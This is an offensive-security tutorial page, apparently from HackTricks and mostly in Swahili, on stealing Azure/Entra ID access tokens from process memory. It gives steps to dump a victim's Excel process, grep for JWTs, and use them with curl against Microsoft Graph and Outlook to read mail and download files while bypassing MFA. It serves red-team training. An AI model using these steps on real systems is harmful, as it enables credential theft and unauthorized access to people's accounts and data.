Az - Processes Memory Access Token

Reading time: 3 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

Kama ilivyoelezwa katika hii video, baadhi ya programu za Microsoft zinazohusishwa na wingu (Excel, Teams...) zinaweza kuhifadhi alama za ufikiaji katika maandiko wazi kwenye kumbukumbu. Hivyo basi, kudondosha kumbukumbu ya mchakato na kuangalia kwa JWT tokens kunaweza kukupa ufikiaji wa rasilimali kadhaa za mwathirika katika wingu bila kupita MFA.

Hatua:

  1. Dondosha mchakato wa excel uliohusishwa na mtumiaji wa EntraID kwa kutumia chombo chako unachokipenda.
  2. Endesha: string excel.dmp | grep 'eyJ0' na pata alama kadhaa katika matokeo
  3. Pata alama zinazokuvutia zaidi na endesha zana juu yao:
bash
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
┌──(magichk㉿black-pearl)-[~]
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Kumbuka kwamba aina hizi za alama za ufikiaji zinaweza pia kupatikana ndani ya michakato mingine.

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks